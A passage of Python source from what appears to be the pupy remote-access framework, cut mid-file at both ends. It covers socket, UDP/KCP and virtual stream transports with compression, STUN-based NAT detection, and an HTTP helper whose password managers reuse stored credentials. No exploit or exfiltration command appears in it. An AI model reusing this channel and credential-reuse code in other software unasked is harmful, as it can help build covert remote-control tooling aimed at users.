packet:\n                header += packet\n                del packet\n\n        length, compressed = self.FRAME_HEADER.unpack(header)\n        #print( \"RECV! WAIT FOR LENGTH COMPLETE!\")\n\n        required_length = length + len(self.FLUSHER)\n        #print( \"WAIT FOR\", required_length)\n\n        decompressor = None\n\n        if compressed:\n            decompressor = zlib.decompressobj()\n\n        buf = Buffer()\n\n        while required_length:\n            packet = self.stream.read(min(required_length, self.COMPRESSION_THRESHOLD))\n            if packet:\n                required_length -= len(packet)\n                #print( \"GET\", len(packet))\n                if not required_length:\n                    packet = packet[:-len(self.FLUSHER)]\n                #print( \"PACKET IS FINALLY \", len(packet))\n                if compressed:\n                    packet = decompressor.decompress(packet)\n                    if not packet:\n                        continue\n\n                if packet:\n                    buf.write(packet)\n\n        if compressed:\n            packet = decompressor.flush()\n            if packet:\n                buf.write(packet)\n\n        #print( \"COMPLETE!\")\n        return buf\n\n    def _send(self, data):\n        \"\"\" Smarter compression support \"\"\"\n        compressed = 0\n\n        ldata = len(data)\n        portion = None\n        lportion = 0\n\n        #print( \"SEND .. \", ldata)\n\n        if self.compress and ldata > self.COMPRESSION_THRESHOLD:\n            portion = data.peek(self.COMPRESSION_THRESHOLD)\n            portion = zlib.compress(portion)\n            lportion = len(portion)\n            if lportion < self.COMPRESSION_THRESHOLD:\n                compressed = 1\n\n        if not compressed:\n            del portion\n            self.stream.write(self.FRAME_HEADER.pack(ldata, compressed), notify=False)\n            self.stream.write(data, notify=False)\n            self.stream.write(self.FLUSHER)\n            #print( \"SEND .. \", ldata, \"DONE\")\n            return\n\n        del portion\n        compressor = zlib.compressobj(self.COMPRESSION_LEVEL)\n\n        total_length = 0\n        rest = ldata\n        i = 0\n\n        while rest > 0:\n            cdata = data.read(self.COMPRESSION_THRESHOLD)\n\n            lcdata = len(cdata)\n            rest -= lcdata\n            i += lcdata\n\n            portion = compressor.compress(cdata)\n            lportion = len(portion)\n\n            if lportion > 0:\n                total_length += lportion\n\n                #print( \"SEND .. \", lportion, \"DONE\")\n                self.stream.write(portion, notify=False)\n\n        portion = compressor.flush()\n        lportion = len(portion)\n        if lportion:\n            total_length += lportion\n            #print( \"SEND .. \", lportion, \"DONE\")\n            self.stream.write(portion, notify=False)\n\n        del portion, data, cdata\n\n        self.stream.insert(self.FRAME_HEADER.pack(total_length, compressed))\n        #print( \"SEND WITH TOTAL LENGTH\", total_length)\n        #print( \"SEND FLUSHER \", len(self.FLUSHER), \"DONE\")\n        self.stream.write(self.FLUSHER)\n\n\nclass PupySocketStream(SocketStream):\n    def __init__(self, sock, transport_class, transport_kwargs):\n        super(PupySocketStream, self).__init__(sock)\n\n        self.MAX_IO_CHUNK = 32000\n        self.KEEP_ALIVE_REQUIRED = False\n        self.compress = True\n\n        #buffers for transport\n        self.upstream = Buffer(\n            transport_func=addGetPeer((\"127.0.0.1\", 443)),\n            shared=True\n        )\n\n        if sock is None:\n            peername = '127.0.0.1', 0\n        elif type(sock) is tuple:\n            peername = sock[0], sock[1]\n        else:\n            peername = sock.getpeername()\n\n        self.downstream = Buffer(\n            on_write=self._upstream_recv,\n            transport_func=addGetPeer(peername),\n            shared=True\n        )\n\n        self.upstream_lock = threading.Lock()\n        self.downstream_lock = threading.Lock()\n\n        self.transport = transport_class(self, **transport_kwargs)\n\n        #buffers for streams\n        self.buf_in = Buffer()\n        self.buf_out = Buffer()\n\n        self.failed = False\n        try:\n            self.on_connect()\n\n        except Exception:\n            self.failed = True\n            raise\n\n    def on_connect(self):\n        self.transport.on_connect()\n        self._upstream_recv()\n\n    def _read(self):\n        try:\n            buf = self.sock.recv(self.MAX_IO_CHUNK)\n            if __debug__:\n                logger.debug('stream: read=%s', len(buf) if buf else None)\n\n        except socket.timeout:\n            return\n\n        except socket.error:\n            ex = sys.exc_info()[1]\n            if get_exc_errno(ex) in (errno.EAGAIN, errno.EWOULDBLOCK):\n                # windows just has to be a b**ch\n                # edit: some politeness please ;)\n                return\n            self.close()\n            raise EOFError(ex)\n\n        if not buf:\n            self.close()\n            raise EOFError(\"connection closed by peer\")\n\n        self.buf_in.write(buf)\n\n    # The root of evil\n    def poll(self, timeout):\n        if self.closed:\n            raise EOFError('polling on already closed connection')\n        result = (len(self.upstream)>0 or self.sock_poll(timeout))\n        return result\n\n    def sock_poll(self, timeout):\n        with self.downstream_lock:\n            to_close = None\n            to_read = None\n\n            while not (to_close or to_read or self.closed):\n                try:\n                    to_read, _, to_close = select([self.sock], [], [self.sock], timeout)\n                except select_error as r:\n                    if not r.args[0] == errno.EINTR:\n                        to_close = True\n                    continue\n\n                break\n\n            if to_close:\n                raise EOFError('sock_poll error')\n\n            if to_read:\n                self._read()\n                self.transport.downstream_recv(self.buf_in)\n                return True\n            else:\n                return False\n\n    def _upstream_recv(self):\n        \"\"\" called as a callback on the downstream.write \"\"\"\n        if len(self.downstream)>0:\n            if __debug__:\n                logger.debug('stream: send=%s', len(self.downstream))\n\n            self.downstream.write_to(super(PupySocketStream, self))\n\n    def waitfor(self, count):\n        if __debug__:\n            logger.debug('stream: waitfor=%s', count)\n\n        try:\n            while len(self.upstream)<count:\n                if not self.sock_poll(None) and self.closed:\n                    return None\n\n            return self.upstream\n\n        except (EOFError, socket.error):\n            self.close()\n            raise\n\n        except:\n            logger.debug(traceback.format_exc())\n            self.close()\n            raise\n\n    def read(self, count):\n        promise = self.waitfor(count)\n        if promise:\n            return promise.read(count)\n\n    def insert(self, data):\n        with self.upstream_lock:\n            self.buf_out.insert(data)\n\n    def flush(self):\n        self.buf_out.flush()\n\n    def write(self, data, notify=True):\n        if __debug__:\n            logger.debug('stream: write=%s / n=%s',\n                len(data) if data else None, notify)\n\n        try:\n            with self.upstream_lock:\n                self.buf_out.write(data, notify)\n                del data\n                if notify:\n                    self.transport.upstream_recv(self.buf_out)\n            #The write will be done by the _upstream_recv callback on the downstream buffer\n\n        except (EOFError, socket.error):\n            self.close()\n            raise\n\n        except:\n            logger.debug(traceback.format_exc())\n            self.close()\n            raise\n\n\nclass PupyUDPSocketStream(object):\n    NEW = b'\\x00'\n    DAT = b'\\x01'\n    END = b'\\x02'\n\n    def __init__(self, sock, transport_class, transport_kwargs={}, client_side=True, close_cb=None, lsi=5):\n\n        if not (type(sock) is tuple and len(sock) in (2,3)):\n            raise Exception(\n                'dst_addr is not supplied for UDP stream, '\n                'PupyUDPSocketStream needs a reply address/port')\n\n        self.client_side = client_side\n        self.closed = False\n\n        self.local_connid = os.urandom(4)\n        self.remote_connid = None\n\n        self.LONG_SLEEP_INTERRUPT_TIMEOUT = lsi\n        self.KEEP_ALIVE_REQUIRED = lsi * 3\n        self.INITIALIZED = False\n        self.NEW_SENT = False\n\n        self.sock, self.dst_addr = sock[0], sock[1]\n        if len(sock) == 3:\n            self.kcp = sock[2]\n        else:\n            if client_side:\n                dst = self.sock.fileno()\n            else:\n                # dst = lambda data: self.sock.sendto(data, self.dst_addr)\n                dst = (\n                    self.sock.fileno(), self.sock.family, self.dst_addr[0], self.dst_addr[1]\n                )\n\n            self.kcp = kcp.KCP(dst, 0, interval=64)\n\n        self.kcp.window = 32768\n\n        self.buf_in = Buffer(shared=True)\n        self.buf_out = Buffer()\n\n        #buffers for transport\n        self.upstream = Buffer(\n            transport_func=addGetPeer((\"127.0.0.1\", 443)),\n            shared=True\n        )\n\n        self.downstream = Buffer(\n            on_write=self._send,\n            transport_func=addGetPeer(self.dst_addr),\n            shared=True\n        )\n\n        self.upstream_lock = threading.Lock()\n        self.downstream_lock = threading.Lock()\n\n        self.transport = transport_class(self, **transport_kwargs)\n\n        self.MAX_IO_CHUNK = self.kcp.mtu - (24 + 5)\n        self.compress = True\n        self.close_callback = close_cb\n\n        self._wake_after = None\n\n        self.failed = False\n        try:\n            self.on_connect()\n\n        except Exception:\n            self.failed = True\n            raise\n\n    def on_connect(self):\n        self.transport.on_connect()\n\n    def _send_packet(self, flag, data=b''):\n        need_flush = False\n        if flag in (self.NEW, self.END):\n            need_flush = True\n\n        if flag == self.DAT and not self.NEW_SENT:\n            flag = self.NEW\n            self.NEW_SENT = True\n\n        packet = flag + self.local_connid + data\n\n        self.kcp.send(packet)\n        if need_flush:\n            self.kcp.flush()\n\n    def poll(self, timeout):\n        if self.closed:\n            return None\n\n        return len(self.upstream)>0 or self._poll_read(timeout)\n\n    def close(self):\n        self._send_packet(self.END)\n\n        if self.close_callback:\n            self.close_callback('{}:{}'.format(\n                self.dst_addr[0], self.dst_addr[1]))\n\n        self.closed = True\n        self.kcp = None\n\n        if self.client_side:\n            self.sock.close()\n\n    def _send(self):\n        \"\"\" called as a callback on the downstream.write \"\"\"\n        if self.closed or not self.kcp:\n            raise EOFError('Connection is not established yet')\n\n        if len(self.downstream)>0:\n            while len(self.downstream) > 0:\n                data = self.downstream.read(self.MAX_IO_CHUNK)\n                self._send_packet(self.DAT, data)\n\n            if self.kcp:\n                self.kcp.flush()\n\n    def _process_buf(self, buf):\n        flag = buf[0]\n        connid = buf[1:5]\n        buf = buf[5:]\n\n        if not self.INITIALIZED:\n            if flag == self.NEW[0]:\n                self.INITIALIZED = True\n                self.remote_connid = connid\n            else:\n                if flag == self.DAT[0]:\n                    self._send_packet(self.END)\n\n                raise EOFError(\n                    'Unexpected flag ({} ({}))'.format(\n                        repr(flag), type(flag)\n                    )\n                )\n        elif flag == self.END[0]:\n            raise EOFError('EOF Flag received')\n\n        elif connid != self.remote_connid:\n            raise EOFError('Unexpected connection id')\n\n        return buf\n\n    def _poll_read(self, timeout=None):\n        if not self.client_side:\n            # In case of strage hangups change None to timeout\n            self._wake_after = time.time() + timeout\n            return self.buf_in.wait(None)\n\n        buf = self.kcp.recv()\n        if buf is None:\n            if timeout is not None:\n                timeout = int(timeout * 1000)\n\n            try:\n                buf = self.kcp.pollread(timeout)\n            except OSError as e:\n                raise EOFError(str(e))\n\n        have_data = False\n        while buf:\n            buf = self._process_buf(buf)\n            if buf:\n                with self.buf_in:\n                    self.buf_in.write(buf, notify=False)\n                have_data = True\n\n            buf = self.kcp.recv()\n\n        if have_data:\n            self.buf_in.flush()\n            return True\n\n        return False\n\n    def read(self, count):\n        if self.closed:\n            return self.upstream.read(count)\n\n        try:\n            while len(self.upstream) < count:\n                if self.buf_in or self._poll_read(10):\n                    with self.buf_in:\n                        self.transport.downstream_recv(self.buf_in)\n                else:\n                    break\n\n            return self.upstream.read(count)\n\n        except:\n            logger.debug(traceback.format_exc())\n\n    def insert(self, data):\n        with self.upstream_lock:\n            self.buf_out.insert(data)\n\n    def flush(self):\n        self.buf_out.flush()\n\n    def write(self, data, notify=True):\n        # The write will be done by the _upstream_recv\n        # callback on the downstream buffer\n\n        try:\n            with self.upstream_lock:\n                self.buf_out.write(data, notify)\n                del data\n                if notify:\n                    self.transport.upstream_recv(self.buf_out)\n\n        except:\n            logger.debug(traceback.format_exc())\n            raise\n\n    def consume(self):\n        data = False\n        with self.downstream_lock:\n            while True:\n                kcpdata = self.kcp.recv()\n                if kcpdata:\n                    kcpdata = self._process_buf(kcpdata)\n                else:\n                    break\n\n                if kcpdata:\n                    with self.buf_in:\n                        self.buf_in.write(kcpdata, notify=False)\n                    data = True\n\n            if not data:\n                return True\n\n        if data:\n            self.buf_in.flush()\n\n        return True\n\n    def wake(self):\n        now = time.time()\n        if not self._wake_after or (now >= self._wake_after):\n            with self.downstream_lock:\n                self.buf_in.wake()\n            self._wake_after = now + self.LONG_SLEEP_INTERRUPT_TIMEOUT\n"
  },
  {
    "path": "pupy/network/lib/streams/PupyVirtualStream.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.lib import getLogger\nlogger = getLogger('pvs')\n\n__all__ = [\n    'PupyVirtualStream'\n]\n\nfrom pupy.network.lib.buffer import Buffer\nimport threading\n\nimport traceback\n\n\nclass PupyVirtualStream(object):\n\n    MAX_IO_CHUNK = 65536\n    KEEP_ALIVE_REQUIRED = False\n    compress = True\n\n    __slots__ = (\n        'upstream', 'on_receive',\n        'downstream', 'upstream_lock',\n        'downstream_lock', 'transport',\n        'transport_class', 'transport_kwargs',\n        'buf_in', 'buf_out', 'closed',\n        'peername'\n    )\n\n    def __init__(self, transport_class, transport_kwargs={}, peername=None, on_receive=None):\n        self.on_receive = None\n        self.closed = True\n\n        # buffers for transport\n        self.upstream = Buffer(shared=True)\n\n        self.downstream = None\n\n        self.upstream_lock = threading.Lock()\n        self.downstream_lock = threading.Lock()\n\n        self.transport_class = transport_class\n        self.transport_kwargs = transport_kwargs\n\n        # buffers for streams\n        self.buf_in = Buffer(shared=True)\n        self.buf_out = Buffer()\n\n        self.peername = peername\n\n        if peername and on_receive:\n            self.activate(peername, on_receive)\n\n        logger.debug('Allocated (%s)', self)\n\n    def __repr__(self):\n        return 'PVS:{}{}'.format(\n            str(self.peername) + ':' if self.peername else '',\n            id(self))\n\n    def activate(self, peername, on_receive):\n        logger.debug('Activating (%s/%s)', self, peername)\n\n        if not self.closed:\n            return\n\n        self.closed = False\n        self.peername = peername\n        self.on_receive = on_receive\n        self.downstream = Buffer(\n            on_write=self._flush,\n            shared=True\n        )\n\n        self.transport = self.transport_class(\n            self, **self.transport_kwargs)\n\n        logger.debug('Activating ..  (%s) - transport - %s',\n            self, self.transport)\n\n        self.transport.on_connect()\n        logger.debug('Activated (%s)', self)\n\n    def _flush(self):\n        logger.debug('Flush (%s) - %s', self, len(self.downstream))\n        data = self.downstream.read()\n        try:\n            self.on_receive(self, data, None)\n            logger.debug('Flush (%s / %d) - complete', self, len(self.downstream))\n        except Exception as e:\n            logger.exception('Flush (%s) - failed - %d', self, e)\n            self.closed = True\n            raise EOFError(e)\n\n    def _check_eof(self):\n        if self.closed:\n            logger.debug('EOF (%s)', self)\n            raise EOFError('VirtualStream closed')\n\n    def poll(self, timeout):\n        self._check_eof()\n        return len(self.upstream)>0 or self._poll_wait(timeout)\n\n    def _poll_wait(self, timeout=None):\n        logger.debug('Poll (%s) start (timeout=%s)', self, timeout)\n\n        self._check_eof()\n        self.buf_in.wait(timeout)\n        self._check_eof()\n\n        result = bool(len(self.buf_in))\n\n        logger.debug('Poll (%s) completed: %s', self, result)\n        return result\n\n    def submit(self, data):\n        logger.debug('Submit (%s): %s - start', self, len(data))\n\n        try:\n            self._check_eof()\n\n            with self.buf_in:\n                self.buf_in.write(data)\n\n            logger.debug('Submit (%s): completed', self)\n\n        except Exception as e:\n            logger.debug('Submit (%s): exception %s', self, e)\n            raise\n\n    def read(self, count):\n        logger.debug('Read (%s) - %s / %s - start',\n            self, count, len(self.upstream))\n\n        while len(self.upstream) < count and not self.closed:\n            if self.buf_in or self.poll(10):\n                with self.buf_in:\n                    self.transport.downstream_recv(self.buf_in)\n            else:\n                break\n\n        self._check_eof()\n\n        logger.debug('Read (%s) - %s / %s - done',\n            self, count, len(self.upstream))\n\n        return self.upstream.read(count)\n\n    def insert(self, data):\n        logger.debug('Insert (%s): %s', self, len(data))\n\n        self._check_eof()\n\n        with self.upstream_lock:\n            self.buf_out.insert(data)\n\n    def flush(self):\n        logger.debug('Flush (%s)')\n\n        self.buf_out.flush()\n        self._check_eof()\n\n    def write(self, data, notify=True):\n        logger.debug('Write (%s): %s (notify=%s)',\n            self, len(data), notify)\n\n        self._check_eof()\n\n        try:\n            with self.upstream_lock:\n                self.buf_out.write(data, notify)\n\n                del data\n\n                if notify:\n                    self.transport.upstream_recv(self.buf_out)\n        except:\n            logger.debug(traceback.format_exc())\n            raise\n\n    def close(self):\n        stack = traceback.extract_stack()\n        if len(stack) > 2:\n            logger.debug('Close(%s) (at: %s:%s %s(%s))',\n                self, *stack[-2])\n\n        self.closed = True\n        self.upstream.wake()\n"
  },
  {
    "path": "pupy/network/lib/streams/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = [\n    'PupySocketStream',\n]\n\nfrom .PupySocketStream import PupySocketStream\n\ntry:\n    from .PupySocketStream import PupyUDPSocketStream\n    __all__.append('PupyUDPSocketStream')\n\nexcept ImportError:\n    PupyUDPSocketStream = None\n"
  },
  {
    "path": "pupy/network/lib/stun.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n# https://raw.githubusercontent.com/jtriley/pystun/develop/stun/__init__.py\n\n__all__ = (\n    'stun_test',\n    'get_nat_type',\n    'get_ip_info',\n    'get_ip'\n)\n\nimport binascii\nimport random\nimport socket\n\n__version__ = '0.1.0'\n\nfrom pupy.network.lib import getLogger\nlog = getLogger(\"pystun\")\n\nSTUN_SERVERS = (\n    'stun.ekiga.net',\n    'stun.ideasip.com',\n    'stun.voiparound.com',\n    'stun.voipbuster.com',\n    'stun.voipstunt.com',\n    'stun.voxgratia.org'\n)\n\nDEFAULTS = {\n    'stun_port': 3478,\n}\n\n# stun attributes\nMappedAddress = '0001'\nResponseAddress = '0002'\nChangeRequest = '0003'\nSourceAddress = '0004'\nChangedAddress = '0005'\nUsername = '0006'\nPassword = '0007'\nMessageIntegrity = '0008'\nErrorCode = '0009'\nUnknownAttribute = '000A'\nReflectedFrom = '000B'\nXorOnly = '0021'\nXorMappedAddress = '8020'\nServerName = '8022'\nSecondaryAddress = '8050'  # Non standard extension\n\n# types for a stun message\nBindRequestMsg = '0001'\nBindResponseMsg = '0101'\nBindErrorResponseMsg = '0111'\nSharedSecretRequestMsg = '0002'\nSharedSecretResponseMsg = '0102'\nSharedSecretErrorResponseMsg = '0112'\n\ndictAttrToVal = {'MappedAddress': MappedAddress,\n                 'ResponseAddress': ResponseAddress,\n                 'ChangeRequest': ChangeRequest,\n                 'SourceAddress': SourceAddress,\n                 'ChangedAddress': ChangedAddress,\n                 'Username': Username,\n                 'Password': Password,\n                 'MessageIntegrity': MessageIntegrity,\n                 'ErrorCode': ErrorCode,\n                 'UnknownAttribute': UnknownAttribute,\n                 'ReflectedFrom': ReflectedFrom,\n                 'XorOnly': XorOnly,\n                 'XorMappedAddress': XorMappedAddress,\n                 'ServerName': ServerName,\n                 'SecondaryAddress': SecondaryAddress}\n\ndictMsgTypeToVal = {\n    'BindRequestMsg': BindRequestMsg,\n    'BindResponseMsg': BindResponseMsg,\n    'BindErrorResponseMsg': BindErrorResponseMsg,\n    'SharedSecretRequestMsg': SharedSecretRequestMsg,\n    'SharedSecretResponseMsg': SharedSecretResponseMsg,\n    'SharedSecretErrorResponseMsg': SharedSecretErrorResponseMsg}\n\ndictValToMsgType = {}\n\ndictValToAttr = {}\n\nBlocked = \"Blocked\"\nOpenInternet = \"Open Internet\"\nFullCone = \"Full Cone\"\nSymmetricUDPFirewall = \"Symmetric UDP Firewall\"\nRestricNAT = \"Restric NAT\"\nRestricPortNAT = \"Restric Port NAT\"\nSymmetricNAT = \"Symmetric NAT\"\nChangedAddressError = \"Meet an error, when do Test1 on Changed IP and Port\"\n\ndef _initialize():\n    items = dictAttrToVal.items()\n    for i in range(len(items)):\n        dictValToAttr.update({items[i][1]: items[i][0]})\n    items = dictMsgTypeToVal.items()\n    for i in range(len(items)):\n        dictValToMsgType.update({items[i][1]: items[i][0]})\n\n\ndef gen_tran_id():\n    a = ''.join(random.choice('0123456789ABCDEF') for i in range(32))\n    # return binascii.a2b_hex(a)\n    return a\n\ndef stun_test(sock, host, port, send_data=\"\", count=3):\n    retVal = {'Resp': False, 'ExternalIP': None, 'ExternalPort': None,\n              'SourceIP': None, 'SourcePort': None, 'ChangedIP': None,\n              'ChangedPort': None}\n    str_len = \"%#04d\" % (len(send_data) // 2)\n    tranid = gen_tran_id()\n    str_data = ''.join([BindRequestMsg, str_len, tranid, send_data])\n    data = binascii.a2b_hex(str_data)\n    recvCorr = False\n    soure_ip, source_port = None, None\n    while not recvCorr:\n        recieved = False\n        while not recieved:\n            log.debug(\"sendto: %s\", (host, port))\n            try:\n                sock.sendto(data, (host, port))\n                source_ip, source_port = sock.getsockname()\n            except socket.gaierror:\n                retVal['Resp'] = False\n                return soure_ip, source_port, retVal\n            try:\n                buf, addr = sock.recvfrom(2048)\n                log.debug(\"recvfrom: %s\", addr)\n                recieved = True\n            except Exception as e:\n                log.exception(e)\n\n                recieved = False\n                if count > 0:\n                    count -= 1\n                else:\n                    retVal['Resp'] = False\n                    return soure_ip, source_port, retVal\n        msgtype = binascii.b2a_hex(buf[0:2])\n        bind_resp_msg = dictValToMsgType[msgtype] == \"BindResponseMsg\"\n        tranid_match = tranid.upper() == binascii.b2a_hex(buf[4:20]).upper()\n        if bind_resp_msg and tranid_match:\n            recvCorr = True\n            retVal['Resp'] = True\n            len_message = int(binascii.b2a_hex(buf[2:4]), 16)\n            len_remain = len_message\n            base = 20\n            while len_remain:\n                attr_type = binascii.b2a_hex(buf[base:(base + 2)])\n                attr_len = int(binascii.b2a_hex(buf[(base + 2):(base + 4)]), 16)\n                if attr_type == MappedAddress:\n                    port = int(binascii.b2a_hex(buf[base + 6:base + 8]), 16)\n                    ip = \".\".join([\n                        str(int(binascii.b2a_hex(buf[base + 8:base + 9]), 16)),\n                        str(int(binascii.b2a_hex(buf[base + 9:base + 10]), 16)),\n                        str(int(binascii.b2a_hex(buf[base + 10:base + 11]), 16)),\n                        str(int(binascii.b2a_hex(buf[base + 11:base + 12]), 16))\n                    ])\n                    retVal['ExternalIP'] = ip\n                    retVal['ExternalPort'] = port\n                if attr_type == SourceAddress:\n                    port = int(binascii.b2a_hex(buf[base + 6:base + 8]), 16)\n                    ip = \".\".join([\n                        str(int(binascii.b2a_hex(buf[base + 8:base + 9]), 16)),\n                        str(int(binascii.b2a_hex(buf[base + 9:base + 10]), 16)),\n                        str(int(binascii.b2a_hex(buf[base + 10:base + 11]), 16)),\n                        str(int(binascii.b2a_hex(buf[base + 11:base + 12]), 16))\n                    ])\n                    retVal['SourceIP'] = ip\n                    retVal['SourcePort'] = port\n                if attr_type == ChangedAddress:\n                    port = int(binascii.b2a_hex(buf[base + 6:base + 8]), 16)\n                    ip = \".\".join([\n                        str(int(binascii.b2a_hex(buf[base + 8:base + 9]), 16)),\n                        str(int(binascii.b2a_hex(buf[base + 9:base + 10]), 16)),\n                        str(int(binascii.b2a_hex(buf[base + 10:base + 11]), 16)),\n                        str(int(binascii.b2a_hex(buf[base + 11:base + 12]), 16))\n                    ])\n                    retVal['ChangedIP'] = ip\n                    retVal['ChangedPort'] = port\n                # if attr_type == ServerName:\n                    # serverName = buf[(base+4):(base+4+attr_len)]\n                base = base + 4 + attr_len\n                len_remain = len_remain - (4 + attr_len)\n    # s.close()\n    return soure_ip, source_port, retVal\n\n\ndef get_nat_type(s, stun_host=None, stun_port=3478, only_ip=False, count=3):\n    _initialize()\n    port = stun_port\n    log.debug(\"Do Test1\")\n    resp = False\n    if stun_host:\n        source_ip, source_port, ret = stun_test(s, stun_host, port, count=count)\n        resp = ret['Resp']\n    else:\n        for stun_host in STUN_SERVERS:\n            log.debug('Trying STUN host: %s', stun_host)\n            source_ip, source_port, ret = stun_test(s, stun_host, port, count=count)\n            resp = ret['Resp']\n            if resp:\n                break\n\n    if not resp:\n        if only_ip:\n            return None\n\n        return Blocked, None\n\n    log.debug(\"Result: %s\", ret)\n\n    exIP = ret['ExternalIP']\n    exPort = ret['ExternalPort']\n    changedIP = ret['ChangedIP']\n    changedPort = ret['ChangedPort']\n\n    if only_ip:\n        return ret['ExternalIP']\n\n    if ret['ExternalIP'] == source_ip:\n        changeRequest = ''.join([ChangeRequest, '0004', \"00000006\"])\n        source_ip, source_port, ret = stun_test(s, stun_host, port, changeRequest, count=count)\n        if ret['Resp']:\n            typ = OpenInternet\n        else:\n            typ = SymmetricUDPFirewall\n\n    else:\n        changeRequest = ''.join([ChangeRequest, '0004', \"00000006\"])\n        log.debug(\"Do Test2\")\n        source_ip, source_port, ret = stun_test(s, stun_host, port, changeRequest, count=count)\n        log.debug(\"Result: %s\", ret)\n\n        if ret['Resp']:\n            typ = FullCone\n        else:\n            log.debug(\"Do Test1\")\n            source_ip, source_port, ret = stun_test(s, changedIP, changedPort, count=count)\n            log.debug(\"Result: %s\", ret)\n            if not ret['Resp']:\n                typ = ChangedAddressError\n            elif exIP == ret['ExternalIP'] and exPort == ret['ExternalPort']:\n                changePortRequest = ''.join([\n                    ChangeRequest, '0004',\n                    \"00000002\"\n                ])\n\n                log.debug(\"Do Test3\")\n                source_ip, source_port, ret = stun_test(s, changedIP, port, changePortRequest, count=count)\n                log.debug(\"Result: %s\", ret)\n\n                if ret['Resp']:\n                    typ = RestricNAT\n                else:\n                    typ = RestricPortNAT\n            else:\n                typ = SymmetricNAT\n\n    return typ, ret\n\n\ndef get_ip_info(stun_host=None, stun_port=3478):\n\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    try:\n        s.settimeout(2)\n        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        nat_type, nat = get_nat_type(s, stun_host=stun_host, stun_port=stun_port)\n        external_ip = None\n        external_port = None\n        if nat_type != Blocked:\n            external_ip = nat['ExternalIP']\n            external_port = nat['ExternalPort']\n        return (nat_type, external_ip, external_port)\n\n    finally:\n        s.close()\n\ndef get_ip(stun_host=None, stun_port=3478):\n\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    try:\n        s.settimeout(2)\n        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n        return get_nat_type(\n            s, stun_host=stun_host, stun_port=stun_port, only_ip=True, count=1)\n\n    finally:\n        s.close()\n"
  },
  {
    "path": "pupy/network/lib/tinyhttp.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('HTTP',)\n\nimport sys\nimport ssl\nimport socket\n\nfrom io import open, BytesIO\n\nfrom netaddr import IPAddress, AddrFormatError\n\nfrom .socks import (\n    ProxyConnectionError, socksocket, PROXY_TYPES, DEFAULT_PORTS\n)\n\nfrom .socks import HTTP as PROXY_SCHEME_HTTP\n\nfrom poster.streaminghttp import StreamingHTTPConnection, StreamingHTTPSConnection\nfrom poster.streaminghttp import StreamingHTTPHandler, StreamingHTTPSHandler\n\nif sys.version_info.major > 2:\n    from urllib.parse import urlparse, urlencode\n    from urllib.request import (\n        BaseHandler, HTTPErrorProcessor,\n        HTTPHandler, HTTPSHandler, ProxyHandler,\n        ProxyBasicAuthHandler, ProxyDigestAuthHandler,\n        HTTPRedirectHandler, HTTPBasicAuthHandler, HTTPDigestAuthHandler,\n        HTTPDefaultErrorHandler, HTTPErrorProcessor,\n        Request, OpenerDirector\n    )\n    from urllib.error import HTTPError\n    from http.cookiejar import CookieJar\n\n    basestring = str\n    xrange = range\nelse:\n    from cookielib import CookieJar\n    from urlparse import urlparse\n    from urllib import urlencode\n    from urllib2 import (\n        BaseHandler, HTTPErrorProcessor,\n        HTTPHandler, HTTPSHandler, ProxyHandler,\n        ProxyBasicAuthHandler, ProxyDigestAuthHandler,\n        HTTPRedirectHandler, HTTPBasicAuthHandler, HTTPDigestAuthHandler,\n        HTTPDefaultErrorHandler, HTTPErrorProcessor,\n        Request, OpenerDirector, HTTPError\n    )\n\n\ntry:\n    from urllib_auth import ProxyAuthHandler, HTTPAuthHandler\nexcept ImportError:\n    ProxyAuthHandler = None\n    HTTPAuthHandler = None\n\nfrom poster.encode import multipart_encode\n\nfrom .netcreds import (\n    find_first_cred, find_creds_for_uri, add_cred_for_uri, add_cred\n)\n\nfrom . import getLogger\n\n\nlogger = getLogger('tinyhttp')\n\ndef merge_dict(a, b):\n    d = a.copy()\n    d.update(b)\n    return d\n\n## Fix poster bug\n\nclass OptionalPasswordManager(object):\n    __slots__ = ('username', 'password', 'authuri', 'realm')\n\n    def __init__(self, username=None, password=None):\n        self.authuri = None\n        self.realm = None\n        self.username = username\n        self.password = password\n\n    def find_user_password(self, realm, authuri):\n        if self.username and self.password:\n            self.authuri = authuri\n            self.realm = realm\n            logger.info(\n                'Force preconfigured user/password for %s (realm=%s) -> user=%s',\n                authuri, realm, self.username\n            )\n            return self.username, self.password\n        else:\n            for cred in find_creds_for_uri(authuri, realm=realm):\n                username = cred.username\n                if cred.domain:\n                    username = cred.domain + '\\\\' + username\n\n                logger.info(\n                    'Found creds for %s (realm=%s) -> user=%s',\n                    authuri, realm, username\n                )\n                return username, cred.password\n\n        logger.info('Creds for %s (realm=%s) not found', authuri, realm)\n        return None, None\n\n    def add_password(self, *args, **kwargs):\n        raise NotImplementedError('add_password is not implemented')\n\n    def commit(self):\n        if self.username and self.password and self.authuri:\n            add_cred_for_uri(self.username, self.password, self.authuri, self.realm)\n\n\nclass ProxyPasswordManager(object):\n    # Dumb urllib2 doesn't distinguish 401/407, so it's no way to find the proxy address\n\n    __slots__ = ('username', 'password', 'schema', 'host', 'port')\n\n    def __init__(self, schema=None, host=None, port=None, username=None, password=None):\n        self.schema = schema\n        self.host = host\n        self.port = int(port) if port else None\n        self.username = username\n        self.password = password\n\n    def find_user_password(self, *args, **kwargs):\n        if self.username and self.password:\n            return self.username, self.password\n\n        elif self.schema and self.host and self.port:\n            cred = find_first_cred(self.schema, self.host, self.port)\n            if cred:\n                return cred.user, cred.password\n\n        return None, None\n\n    def add_password(self, *args, **kwargs):\n        raise NotImplementedError('add_password is not implemented')\n\n    def commit(self):\n        if all([self.username, self.password, self.schema, self.host, self.port]):\n            add_cred(self.username, self.password, True, self.schema, self.host, None, self.port)\n\n\nclass HTTPContext(BaseHandler):\n    default = None\n\n    __slots__ = ('cookies', 'headers')\n\n    handler_order = 999\n\n    @staticmethod\n    def 